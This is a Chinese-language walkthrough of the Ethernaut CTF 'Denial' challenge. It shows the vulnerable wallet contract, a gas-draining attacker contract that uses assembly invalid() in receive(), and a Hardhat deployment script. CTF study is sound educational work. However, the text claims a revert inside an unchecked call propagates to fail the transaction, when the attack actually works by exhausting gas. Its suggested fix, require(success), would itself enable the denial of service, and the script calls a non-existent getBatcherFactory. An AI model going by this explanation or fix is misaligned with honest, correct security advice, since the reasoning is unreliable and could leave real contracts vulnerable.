Appearance
Ethernaut CTF 深度解析:Denial 挑战——巧妙利用合约漏洞阻止提款!
智能合约的世界,安全是永恒的命题。Ethernaut 是一个经典的 Solidity CTF(夺旗赛)平台,旨在通过实战挑战,帮助开发者发现和理解智能合约中的常见漏洞。今天,我们将深入探讨其中一个引人入胜的关卡——Denial (拒绝服务)。
挑战背景:Drip 钱包的“拒绝”之战
想象你面前是一个看似简单的“Drip 钱包”合约。它的设计初衷是随着时间推移,缓慢地向外“滴落”资金。作为提款伙伴 (withdrawing partner),你可以分批提取这些资金。然而,这个挑战的目标并非是让你顺利提款,而是要求你完成一个看似不可能的任务:
目标:在合约仍有资金、且交易 Gas 限制在 1M 或更少的情况下,阻止合约所有者 (owner) 成功调用 withdraw() 函数进行提款。
这意味着,你需要通过某种机制,使得即使合约所有者尝试提款,他们的交易也会失败。这无疑是一场对智能合约交互逻辑和漏洞利用的深刻考验。
漏洞合约 Denial.sol 剖析
我们首先来仔细审视这个 Drip 钱包合约 Denial.sol 的代码:
solidity
contract Denial {
address public partner; // 提款伙伴
address public constant owner = address(0xA9E); // 合约所有者
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // 记录伙伴余额
// 设置提款伙伴
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// 提款函数:1% 给伙伴,1% 给所有者
function withdraw() public {
uint256 amountToSend = address(this).balance / 100; // 计算提款金额
// 执行一个 call,不检查返回值。
// 接收方可以回滚,但所有者仍会收到份额
partner.call{value: amountToSend}(""); // <<< 核心漏洞点 1
payable(owner).transfer(amountToSend); // <<< 核心漏洞点 2,我们想阻止它
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// 允许存款
receive() external payable {}
// 便捷函数
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}
合约的关键在于 withdraw() 函数。它的逻辑是:
- 计算要提款的金额 (
amountToSend),通常是合约总余额的 1%。 - 通过
partner.call{value: amountToSend}("");向partner地址发送这笔金额。 - 通过
payable(owner).transfer(amountToSend);向owner地址发送相同金额。
核心漏洞点就在于 partner.call{value: amountToSend}(""); 这一行!
- 它向
partner地址发送以太币,并触发partner地址的receive()或fallback()函数(如果partner是一个合约)。 - 然而,它却没有检查
call的返回值!call操作会返回一个(bool success, bytes data)元组,表明调用是否成功。Denial合约在设计时,刻意忽略了success这个布尔值。注释中甚至写明:“The recipient can revert, the owner will still get their share”。
这句话给出了一个误导:它声称即使 partner 接收方回滚,owner 仍能获得份额。但事实并非如此简单!
攻击策略制定:利用未检查的外部调用
现在,我们的目标是阻止 owner.transfer(amountToSend) 这一行代码的执行。要达到这个目的,我们需要让整个 withdraw() 交易回滚。
既然 partner.call 没有检查返回值,我们可以利用这一点。如果我们将自己(一个攻击者合约)设置为 Denial 合约的 partner,并在 partner.call 发生时,强制我们的合约回滚,会发生什么?
核心思路是:
- 成为提款伙伴: 调用
setWithdrawPartner(),将我们的攻击合约地址设置为Denial合约的partner。 - 强制回滚: 当
Denial合约尝试通过partner.call{value: amountToSend}("");向我们的攻击合约发送以太币时,我们的攻击合约的receive()函数会被触发。我们可以在这个receive()函数中故意引发一个回滚。
如果攻击合约的 receive() 函数在执行 partner.call 时回滚,并且这个回滚没有被 Denial 合约捕获(因为它没有检查 call 的 success 状态),那么这个回滚会蔓延到整个 Denial.withdraw() 交易。最终结果就是:owner.transfer() 永远无法执行,且整个交易失败!
解决方案 Hack.sol 揭秘
基于上述策略,我们构建了 Hack.sol 攻击合约:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IDenial {
function partner() external view returns (address);
function owner() external pure returns (address);
function setWithdrawPartner(address) external;
function withdraw() external;
function contractBalance() external view returns (uint256);
}
contract Hack {
IDenial private immutable target;
constructor(address _target) {
target = IDenial(_target);
target.setWithdrawPartner(address(this)); // <<< 1. 将自己设置为提款伙伴
}
receive() external payable {
assembly {
invalid() // <<< 2. 强制回滚并消耗所有 Gas
}
}
}
这个 Hack 合约非常简洁而高效:
构造函数 (
constructor):- 在部署
Hack合约时,我们传入Denial合约的地址。 - 然后,它立即调用
target.setWithdrawPartner(address(this));,将Hack合约自身的地址设置为Denial合约的partner。
- 在部署
receive() external payable函数:- 这是当有以太币发送到
Hack合约时,会被自动执行的特殊函数。 - 核心代码是
assembly { invalid() }。这条 Yul 汇编指令的作用是:- 立即终止当前执行。
- 回滚整个交易。
- 消耗掉所有剩余的 Gas。
- 这是当有以太币发送到
当 Denial 合约的所有者调用 withdraw() 时:
Denial合约会尝试执行partner.call{value: amountToSend}("");。- 此时
partner是我们的Hack合约,它的receive()函数被触发。 receive()中的assembly { invalid() }立即执行,导致partner.call内部发生回滚,并消耗掉所有 Gas。- 由于
Denial合约没有检查call的返回值,它无法捕获这个内部回滚。因此,这个回滚会向上传播,导致整个Denial.withdraw()交易失败。 - 最终,
payable(owner).transfer(amountToSend);永远不会被执行,挑战成功!
部署与验证
提供的 98_test_denial.ts 脚本展示了如何部署攻击合约:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Denial, Hack } from "../typechain-types";
describe("Denial", function () {
describe("Denial testnet online sepolia", function () {
it("testnet online sepolia Denial", async function () {
const DENIAL_ADDRESS = "0x..."; // 替换为目标 Denial 合约地址
const HackFactory = await ethers.getBatcherFactory("Hack");
const hack = (await HackFactory.deploy(DENIAL_ADDRESS)) as Hack; // 部署 Hack 合约
await hack.waitForDeployment(); // 等待部署完成
});
});
});
部署 Hack 合约后,其构造函数会自动将自身注册为 Denial 合约的 partner。此后,任何尝试调用 Denial.withdraw() 的交易都将因为 Hack 合约的 receive() 强制回滚而失败,从而实现拒绝服务。
安全启示
Denial 挑战生动地揭示了智能合约开发中的一个关键安全原则:
- 外部调用返回值检查的重要性: 永远不要盲目信任外部合约的调用结果。
call操作的返回值(bool success, bytes data)必须被检查。如果success为false,应该根据业务逻辑进行适当的错误处理,例如回滚交易或记录错误。- 正确做法通常是:
(bool success, ) = partner.call{value: amountToSend}(""); require(success, "Partner call failed");
- 正确做法通常是:
- 拒绝服务(DoS)攻击的变种: 这种攻击是一种典型的拒绝服务攻击。攻击者通过利用合约的漏洞,阻止了合法用户(这里是合约所有者)执行其预期操作。
- 信任边界管理: 当合约与外部地址(尤其是可以由用户控制的地址)交互时,必须极其小心。将一个不可信的地址设置为
partner,而又不对其行为进行校验,是导致此漏洞的根本原因。
Ethernaut 的 Denial 挑战是一个绝佳的案例,提醒我们在构建去中心化应用时,必须对每一步交互、每一个外部调用都保持高度警惕和审慎。只有充分理解这些潜在的攻击面,我们才能构建出更健壮、更安全的智能合约。